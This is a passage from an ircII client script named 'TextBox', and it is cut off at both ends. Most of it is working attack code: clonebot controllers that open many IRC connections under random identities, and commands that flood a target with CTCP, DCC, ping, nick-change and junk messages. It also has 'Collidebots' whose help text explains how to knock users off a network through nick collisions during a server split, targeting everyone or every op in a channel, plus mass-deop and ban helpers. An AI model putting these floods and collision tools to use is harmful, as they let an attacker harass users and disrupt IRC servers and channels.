[${CN}:${CLONENICKS[$CN]}] Mode change "$strip(: $6-)" on channel $5 by $nickonly($strip(: $3))} if (([$4] == [QUIT])&&(index(J $CLONESPY[$CN]) != -1)) {/echo [${CN}:${CLONENICKS[$CN]}] Signoff: $nickonly($strip(: $3)) \($strip(: $5-)\)} if (([$4] == [PART])&&(index(J $CLONESPY[$CN]) != -1)) {/echo [${CN}:${CLONENICKS[$CN]}] $nickonly($strip(: $3)) has left channel $strip(: $5)} if (([$4] == [KICK])&&(index(K $CLONESPY[$CN]) != -1)) { if ([$6] == [$CLONENICKS[$CN]]) {/echo [${CN}:${CLONENICKS[$CN]}] $6 has been kicked off channel $5 by $nickonly($strip(: $3)) \($strip(: $7-)\)} {/echo [${CN}:${CLONENICKS[$CN]}] $6 has been kicked off channel $5 by $nickonly($strip(: $3)) \($strip(: $7-)\)} } if (([$4] == [352])&&(index(M $CLONESPY[$CN]) != -1)) {/echo [${CN}:${CLONENICKS[$CN]}] $6 $10 $11 $7@$8 \($strip( $13-)\)} ^assign -CN } } # That clonespyparse.messageparse ugliness is to get around what appears to # be an alias length or complexity limit, or a bug in the client. alias killclone { if ([$CLONES[$0]] == [ONLINE]) { ^dcc close raw $CLONESOCKET[$0] echo *** Clonebot #$0 \($CLONENICKS[$0]\) disconnected. EVAL ^on dcc_raw - "$CLONESOCKET[$0] $CLONESERV[$0] D *" EVAL ^assign -CLONENUM[$CLONESOCKET[$0]] ^assign -CLONESOCKET[$0] ^assign -CLONESERV[$0] ^assign -CLONES[$0] ^assign -CLONENICKS[$0] ^assign -CLONESPY[$0] } {/echo *** Error: Clone #$0, no such clone.} } alias clonesend { if ([$CLONES[$0]] == [ONLINE]) { ^dcc raw $CLONESOCKET[$0] $CLONESERV[$0] $1- } {/echo *** Error: Clone #$0, no such clone.} } alias clonenick { if ([$CLONES[$0]] == [ONLINE]) { ^dcc raw $CLONESOCKET[$0] $CLONESERV[$0] NICK $1 ^assign CLONENICKS[$0] $1 } {/echo *** Error: Clone #$0, no such clone.} } alias incserv { @ SERVCOUNT = SERVCOUNT + 1 if (!rmatch($CSERV[$SERVCOUNT] *.*)) {/EVAL @ SERVCOUNT = 1} } alias newclone { ^set display off if ([$0] == [RANDOM]) { /EVAL ^assign CSRV $CSERV[$SERVCOUNT] ^incserv } {/EVAL ^assign CSRV $0} EVAL ^assign CLONESOCKET[${NUMCLONES+1}] $connect($CSRV $CLONEPORT) ^set display on if ([$CLONESOCKET[${NUMCLONES+1}]] > 0) { @ NUMCLONES = NUMCLONES + 1 EVAL ^assign CLONESERV[$NUMCLONES] $CSRV if ([$CLONEUNAME] == [NONE]) {/EVAL ^assign CUN $randcrap(8)} {/EVAL ^assign CUN $CLONEUNAME} if ([$2]) {^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV USER $CUN $HOSTROOT $CSRV :$2-} {^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV USER $CUN $HOSTROOT $CSRV :$randcrap($rand(8)) $randcrap($rand(8))} if ([$1]) { if ([$1] == [RANDOM]) { EVAL ^assign JUNK2 $rand(3) if ([$JUNK2] == 0) {/EVAL ^assign CNICK $randcrap(9)} if ([$JUNK2] == 1) {/EVAL ^assign CNICK $randcrap(7)} if ([$JUNK2] == 2) {/EVAL ^assign CNICK $randcrap(5)} if ([$JUNK2] == 3) {/EVAL ^assign CNICK $randcrap(4)} ^assign -JUNK2 } {/EVAL ^assign CNICK $1$NUMCLONES} } {/EVAL ^assign CNICK $randcrap(9)} ^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV NICK $CNICK ^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV MODE $CNICK +i ^assign CLONENICKS[$NUMCLONES] $CNICK ^assign CLONES[$NUMCLONES] ONLINE ^assign CLONESPY[$NUMCLONES] _ EVAL @ CLONENUM[$CLONESOCKET[$NUMCLONES]] = $NUMCLONES EVAL echo *** Clone #$NUMCLONES on $CSRV \($CNICK\) created. ^assign -CNICK ^assign -CUN } { echo *** Clonebot connection to ${CSRV} failed. ^assign -CLONESOCKET[${NUMCLONES+1}] } ^assign -CSRV } EVAL ^set input_prompt [=======- ] TextBox version $TBVERS loading... alias clonewhois { ^assign FOUNDIT NO foreach CLONES XX { if ([$0] == [$CLONENICKS[$XX]]) { ^assign FOUNDIT YES echo *** $0 is clonebot #$XX, socket $CLONESOCKET[$XX] on server $CLONESERV[$XX] } } if ([$FOUNDIT] != [YES]) {/echo *** Error: $0, no such clone.} ^assign -FOUNDIT } alias clonedoaction { if ([$1] == [JOIN]) { if ([$2]) { if (ischannel($2)) {/clonesend $0 JOIN $2-} {/clonesend $0 JOIN #$2-} } {/clonesend $0 JOIN $C} } if ([$1] == [LEAVE]) { if ([$2]) { if (ischannel($2)) {/clonesend $0 PART $2-} {/clonesend $0 PART #$2-} } {/clonesend $0 PART $C} } if ([$1] == [MODE]) {/clonesend $0 MODE $2 $3-} if ([$1] == [KICK]) {/clonesend $0 KICK $2 $3 :$4-} if ([$1] == [MSG]) {/clonesend $0 PRIVMSG $2 :$3-} if ([$1] == [SAY]) {/clonesend $0 PRIVMSG $C :$2-} if ([$1] == [WHO]) { if ([$2]) { if (ischannel($2)) {/clonesend $0 WHO $2-} {/clonesend $0 WHO #$2-} } {/clonesend $0 WHO $C} } if ([$1] == [SPY]) {/echo *** Clonebot spy commands have been moved to /clonespy} if ([$1] == [CTCP]) {/clonesend $0 PRIVMSG $2 :$3-} if ([$1] == [ME]) {/clonesend $0 PRIVMSG $2 :ACTION $3-} if ([$1] == [NICK]) {/clonenick $0 $2} if ([$1] == [INVITE]) {/clonesend $0 INVITE $2 $3} if ([$1] == [NICKPREFIX]) {/clonenick $0 $2$0} if ([$1] == [TSUNAMI]) {/repeatcmd 4 clonesend $0 NOTICE $2 :$TSU} if ([$1] == [DCCTSUNAMI]) { clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) } if ([$1] == [PONGFLOOD]) {/repeatcmd 4 EVAL /clonesend $0 PONG $TSU :$2} if ([$1] == [DCCFLOOD]) { clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) } if ([$1] == [CTCPFLOOD]) {/repeatcmd 15 clonesend $0 PRIVMSG $2 :CLIENTINFOCLIENTINFO} if ([$1] == [PINGFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING} if ([$1] == [VERSIONFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :VERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSION} if ([$1] == [NICKFLOOD]) { EVAL ^assign TRASH1 $randcrap(2) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonenick $0 $TRASH1$rand(9999999) ^assign -TRASH1 } if ([$1] == [BOTKILL]) {/repeatcmd 20 clonesend $0 PRIVMSG $2 :help} if ([$1] == [FINGERFLOOD]) {/repeatcmd 4 clonesend $0 PRIVMSG $2 :FINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFI NGER} if ([$1] == [RAWIRC]) {/clonesend $0 $2-} if ([$1] == [FLOOD]) {/repeatcmd 12 clonesend $0 PRIVMSG $2 :$3-} if ([$1] == [RANDNICK]) {/clonenick $0 $randcrap(9)} if ([$1] == [PHOENIXBOMB]) {/repeatcmd 30 clonesend $0 PRIVMSG $2 :CHOPS} if ([$1] == [SEDFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED SEDSED} if ([$1] == [JUNKFLOOD]) { EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR } if ([$1] == [IDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :iDCC HELP} if ([$1] == [GDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :GDCC SEND #1} if ([$1] == [XDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :XDCC HELP} } alias clone { if ([$0]) { if ([$0] == [ALL]) { if ([$1] != [NICK]) { foreach CLONES XY { clonedoaction $XY $1- } } {/echo *** Error: All the bots can't change their nick to the same thing, use nickprefix.} } { if ([$0] != [HELP]) {/clonedoaction $0 $1-} {/clone} } } {/cchelp} } alias cchelp { echo -- -------------------------------------------------------------------- -- echo -- TextBox Clonebot Controller -- echo -- -------------------------------------------------------------------- -- echo -- /clone , where command is any of these: -- echo -- join [] - Join a channel (or current) -- echo -- leave [] - Leave a channel (or current) -- echo -- mode - Do a mode change -- echo -- msg - Private message -- echo -- say - Message to current channel -- echo -- me - Do an action in -- echo -- nick - Change nickname -- echo -- nickprefix - Change nick using prefix system -- echo -- randnick - Change to a random nickname -- echo -- tsunami - Big, annoying flood -- echo -- dccflood - Tons of DCC CHAT requests -- echo -- ctcpflood - CTCP CLIENTINFO flood -- echo -- pingflood - CTCP PING flood -- echo -- versionflood - CTCP VERSION flood -- echo -- nickflood - Rapid trash nick changing -- echo -- botkill - Flood of 'help' -- echo -- fingerflood - CTCP FINGER flood -- echo -- rawirc - Send directly to server -- echo -- flood - Flood with -- pause echo -- sedflood - [ENCRYPTED MESSAGE] flood -- echo -- idccflood/xdccflood/gdccflood - DCC request floods -- echo -- ctcp - Send CTCP -- echo -- invite - Invite to -- echo -- dcctsunami - DCC tsunami -- echo -- pongflood - PONG tsunami -- echo -- who [<#channel>] - WHO list, only works with spy -- echo -- - level 'MISC' set. -- echo -- junkflood - Flood of ASCII trash -- echo -- -------------------------------------------------------------------- -- echo -- Use /clonespy for setting spy levels. /clonespy for help. -- echo -- -------------------------------------------------------------------- -- } EVAL ^set input_prompt [======== ] TextBox version $TBVERS loading... alias clonebots { if ([$0]) { if (match($0 STATUS CLONE KILL WHOIS)) { if ([$0] == [WHOIS]) {/clonewhois $1} if ([$0] == [STATUS]) { ^assign CLONESON NO foreach CLONES XX { ^assign CLONESON YES echo *** Clone #$XX - Socket:$CLONESOCKET[$XX] Server:$CLONESERV[$XX] Nick:$CLONENICKS[$XX] } if ([$CLONESON] == [NO]) {/echo *** No clonebots online.} ^assign -CLONESON } if ([$0] == [CLONE]) {/EVAL repeatcmd $1 newclone $2 $3 $4-} if ([$0] == [KILL]) { if ([$1] == [ALL]) { foreach CLONES XZ { killclone $XZ } @ NUMCLONES = 0 ^assign SPYSTATE OFF echo *** All clonebots disconnected. } {/killclone $1} } } {/clonhelp} } {/clonhelp} } alias opclones { ^assign OPPEDACLONE NO foreach CLONENICKS XX { EVAL ^assign CNIX1 $CLONENICKS[$XX] ${CNIX1} } ^on ^who * { if ((match($1 $CNIX1))&&(!rmatch($2 *@*))) { EVAL ^assign CNIX2 $1 ${CNIX2} ^assign OPPEDACLONE YES } } ^who $C wait if ([$OPPEDACLONE] != [NO]) {/op $CNIX2} {/echo *** There are no un-op'ed clonebots on $C} ^on who - * ^assign -CNIX1 ^assign -CNIX2 ^assign -OPPEDACLONE } # --------------------------------------------------------------------------- alias collbots {/colbots $0-} alias collbots.killons {/colbots.killons $0-} alias collbots.make {/colbots.make $0-} alias colbots {/cbots $0-} alias colbots.killons { EVAL ^on #dcc_raw 65 - "$0 $1 D % 433 *Nickname is already*" EVAL ^on #dcc_raw 65 - "$0 $1 C*" } # colbots.make alias colbots.make { ^set display off EVAL ^assign CBSOCKET $connect($0 $1) ^set display on if (CBSOCKET > 0) { ^assign COLLBOTS[$CBSOCKET] $2 EVAL ^on #^dcc_raw 65 "$CBSOCKET $0 D % 433 *Nickname is already*" { EVAL ^timer 2 ^dcc close raw $0 ^colbots.killons $0 $1 echo *** Collidebot $COLLBOTS[$0]: nickname already in use, disconnected ^assign -COLLBOTS[$0] ^assign -CBSERV[$0] } EVAL ^on #^dcc_raw 65 "$CBSOCKET $0 C*" { ^colbots.killons $0 $1 echo *** Collidebot $COLLBOTS[$0] disconnected by server $1 ^assign -COLLBOTS[$0] ^assign -CBSERV[$0] } ^dcc raw $CBSOCKET $0 NICK $2 ^dcc raw $CBSOCKET $0 USER $randcrap(8) $HOSTROOT $0 :$CJUNKSTR echo *** Collidebot $2 created on server $0 \(Socket: $CBSOCKET\) ^assign CBSERV[$CBSOCKET] $0 ^assign -CBSOCKET } {/echo *** Error connecting Collidebot $2 to server $0} } alias colbots.help { echo -- -------------------------------------------------------------------- -- echo -- TextBox nick collide bots help -- echo -- -------------------------------------------------------------------- -- echo -- /cbots , where is any of the following: -- echo -- make [] - Create a single Collidebot -- echo -- kill [] - Kill Collidebot or all -- echo -- dupe [] - Duplicate all nicks on your -- echo -- - channel but you on -- echo -- dupeops [] - Like dupe, but only gets ops -- echo -- newnick - Change a Collidebot's nick -- echo -- list - List Collidebots online -- echo -- -------------------------------------------------------------------- -- echo -- If is left out with any of these, the default is 6667. If -- echo -- is left out with kill, it disconnects all your Collidebots. -- echo -- -------------------------------------------------------------------- -- echo -- Nick collisions happen when two users on the net get assigned the -- echo -- same nickname. To nick collide with Collidebots, create them on a -- echo -- split server. When the split server reconnects, there will suddenly -- echo -- be two people on the net with the same nickname, the Collidebot and -- echo -- the user being collided. Thus, a nick collision. -- echo -- -------------------------------------------------------------------- -- echo -- You can hang your client by dupe'ing on really crowded channels. -- echo -- Its better just to dupeops on channels with more than 30 people. -- echo -- -------------------------------------------------------------------- -- } alias cbots { if (match($0 MAKE KILL DUPE DUPEOPS LIST NEWNICK)) { if ([$0] == [NEWNICK]) { if ([$2]) { ^assign CHANGEDONE N foreach COLLBOTS XX { if ([$COLLBOTS[$XX]] == [$1]) { ^dcc raw $XX $CBSERV[$XX] NICK $2 ^assign COLLBOTS[$XX] $2 ^assign CHANGEDONE Y } } if ([$CHANGEDONE] == [N]) {/echo *** $1: no Collidebots match that nick} ^assign -CHANGEDONE } {/echo *** /cbots newnick } } if ([$0] == [MAKE]) { if ([$2]) { if ([$3] > 0) {^assign MPORT $3} {^assign MPORT 6667} ^colbots.make $2 $MPORT $1 ^assign -MPORT } {/echo *** /cbots make []} } if ([$0] == [KILL]) { if ([$1]) { ^assign KILLEDONE N foreach COLLBOTS XX { if ([$COLLBOTS[$XX]] == [$1]) { ^dcc close raw $XX ^colbots.killons $XX $CBSERV[$XX] echo *** Collidebot $COLLBOTS[$XX] disconnected ^assign -COLLBOTS[$XX] ^assign -CBSERV[$XX] ^assign KILLEDONE Y } } if ([$KILLEDONE] == [N]) {/echo *** $1: no Collidebots match that nick} ^assign -KILLEDONE } { foreach COLLBOTS XY {^cbots kill $COLLBOTS[$XY]} echo *** All Collidebots disconnected } } if ([$0] == [DUPE]) { if ([$1]) { ^on ^who * { if (([$1] != [$N])&&([$1] != [$GBNICK])) { ^assign KILLNIX[$rand(9999999)] $1 } } echo *** Duplicating all nicknames on $C on server $1 ^who * wait ^on who - * foreach KILLNIX XT { ^cbots make $KILLNIX[$XT] $1- ^assign -KILLNIX[$XT] } } {/echo *** /cbots dupe []} } if ([$0] == [DUPEOPS]) { if ([$1]) { ^on ^who * { if (([$1] != [$N])&&([$1] != [$GBNICK])) { ^assign KILLNIX[$rand(9999999)] $1 } } echo *** Duplicating all channel ops on $C on server $1 ^who -chops * wait ^on who - * foreach KILLNIX XT { ^cbots make $KILLNIX[$XT] $1- ^assign -KILLNIX[$XT] } } {/echo *** /cbots dupeops []} } if ([$0] == [LIST]) { ^assign IHAVEBOTZ N foreach COLLBOTS XX { echo *** $COLLBOTS[$XX] on server $CBSERV[$XX] \(Socket: $XX\) ^assign IHAVEBOTZ Y } if ([$IHAVEBOTZ] == [N]) {/echo *** You have no Collidebots online} ^assign -IHAVEBOTZ } } {/colbots.help} } # --------------------------------------------------------------------------- ^assign GB OFF @ GBSOCKET = 0 ^assign GBSERVER NONE ^assign GBNICK * ^assign GBFOLLOW ON ^assign GBBANPROT ON ^assign GBKICKPROT ON ^assign GBDEOPPROT ON ^assign GBHELPRESPOND ON ^assign GBPINGRESPOND ON ^assign GBRECONNECT ON ^assign GBPORT 6667 ^assign GBUNAME NONE ^assign GBNETSPLIT ON alias gb { ^assign IN_GBSERVER $"Enter server ( for yours) >>" ^assign IN_GBNICK $"Enter nickname ( for junk) >>" ^assign IN_GBUNAME $"Enter username to TRY to signon under ( for junk) >>" ^assign IN_GBIRCNAME $"Enter a description (IRCNAME) ( for none) >>" if ([$IN_GBSERVER] == []) {^assign IN_GBSERVER $S} if ([$IN_GBNICK] == []) {^assign IN_GBNICK $randcrap(9)} if ([$IN_GBUNAME] == []) {^assign GBUNAME NONE} {^assign GBUNAME $IN_GBUNAME} /guardbot make $IN_GBSERVER $IN_GBNICK $IN_GBIRCNAME ^assign GBUNAME NONE ^assign -IN_GBSERVER ^assign -IN_GBNICK ^assign -IN_GBUNAME ^assign -IN_GBIRCNAME } alias gbhelp { echo -- -------------------------------------------------------------------- -- echo -- Personal Guardbot help -- echo -- -------------------------------------------------------------------- -- echo -- /guardbot , where is any of the following: -- echo -- make [] [] - Creates guardbot -- echo -- kill - Terminates guardbot -- echo -- status - Shows guardbot status -- echo -- follow - Guardbot follows you -- echo -- banprot - Protect you from bans -- echo -- kickprot - Deop when someone kicks you -- echo -- deopprot - Protect you from deops -- echo -- allprot - Toggle above three -- echo -- helprespond - Guardbot responds to msgs -- echo -- pingrespond - Guardbot responds to pings -- echo -- reconnect - Automatic reconnection -- echo -- say - Say -- echo -- msg - Private -- echo -- ctcp - CTCP message -- echo -- mode [] - Mode change -- echo -- kick [] [] - Kick for -- echo -- join [] - Join or current -- echo -- joinall - Join channels you are on -- echo -- leave [] - Leave or current -- pause echo -- nick - Change nickname -- echo -- randnick - Change to random nickname -- echo -- invite - Invite to -- echo -- rawirc - Send to server -- echo -- massdeop - Massdeop 4 at once with -- echo -- - Guardbot as a helper -- echo -- unban [] [] - Unban from -- echo -- ban [] - Ban on -- echo -- netsplit - Netsplit reporting on/off -- echo -- -------------------------------------------------------------------- -- echo -- '/assign GBUNAME ' lets you set a different username for -- echo -- Guardbot connections. Assigning a username of 'NONE' will choose a -- echo -- random one. This is the default. '/assign GBPORT ' lets you -- echo -- set the port for Guardbots to connect to. Default is 6667. -- echo -- -------------------------------------------------------------------- -- echo -- /gb provides a user-friendly prompted interface to this command. -- echo -- /gk is a shortcut to /guardbot kill. -- echo -- -------------------------------------------------------------------- -- } alias gbstatus { echo *** Guardbot: $GBNICK  Server: $GBSERVER  Socket: $GBSOCKET  echo *** Guardbot follow mode (/guardbot follow): $GBFOLLOW  echo *** Ban protection (/guardbot banprot): $GBBANPROT  echo *** Kick protection (/guardbot kickprot): $GBKICKPROT  echo *** Deop protection (/guardbot deopprot): $GBDEOPPROT  } alias gbnetsplit { if (match($0 ON OFF)) {^assign GBNETSPLIT $onoff($0)} echo *** Guardbot netsplit reporting is now $GBNETSPLIT  } alias gbfollow { if (match($0 ON OFF)) {^assign GBFOLLOW $onoff($0)} echo *** Guardbot follow mode is now $GBFOLLOW  } alias gbbanprot { if (match($0 ON OFF)) {^assign GBBANPROT $onoff($0)} echo *** Guardbot ban protection is now $GBBANPROT  } alias gbkickprot { if (match($0 ON OFF)) {^assign GBKICKPROT $onoff($0)} echo *** Guardbot kick protection is now $GBKICKPROT  } alias gbdeopprot { if (match($0 ON OFF)) {^assign GBDEOPPROT $onoff($0)} echo *** Guardbot deop protection is now $GBDEOPPROT  } alias gbrawirc { if ([$GB] == [ON]) {^dcc raw $GBSOCKET $GBSERVER $0-} {/echo *** You don't have a Guardbot online} } alias gballprot { if (match($0 ON OFF)) { gbbanprot $0 gbkickprot $0 gbdeopprot $0 gbreconnect $0 } {/gbstatus} } alias gbhelprespond { if (match($0 ON OFF)) {^assign GBHELPRESPOND $onoff($0)} echo *** Guardbot help request response is now $GBHELPRESPOND  } alias gbpingrespond { if (match($0 ON OFF)) {^assign GBPINGRESPOND $onoff($0)} echo *** Guardbot PING response is now $GBPINGRESPOND  } alias gbreconnect { if (match($0 ON OFF)) {^assign GBRECONNECT $onoff($0)} echo *** Guardbot recreation on disconnect is now $GBRECONNECT  } alias gbinvite { if ([$GB] == [ON]) {^dcc raw $GBSOCKET $GBSERVER INVITE $0 $1} {/echo *** You don't have a Guardbot online} } alias gbsay { if ([$GB] == [ON]) {^dcc raw $GBSOCKET $GBSERVER PRIVMSG $C :$0-} {/echo *** You don't have a Guardbot online} } alias gbmsg { if ([$GB] == [ON]) {^dcc raw $GBSOCKET $GBSERVER PRIVMSG $0 :$1-} {/echo *** You don't have a Guardbot online} } alias gbban { if ([$GB] == [ON]) { if (ischannel($0)) { ^assign BANCHAN $0 if ([$1]) {^assign BANNICK $1} {^assign BANNICK *} } { ^assign BANCHAN $C if ([$0]) {^assign BANNICK $0} {^assign BANNICK *} } if ([$BANNICK] != [*]) { ^Userhost $BANNICK -CMD if ([$3]) { if ([$4] != []) { /gbmode $BANCHAN -o+b $0 *!*$strip(~ $3)@$4 } {/echo *** Cannot find $0} } } {/echo *** /guardbot ban [] } } {/echo *** You don't have a Guardbot online} } alias gbunban { if ([$GB] == [ON]) { if (ischannel($0)) { ^assign UNBANCHAN $0 if ([$1]) {^assign UNBANNICK $1} {^assign UNBANNICK $N} } { ^assign UNBANCHAN $C i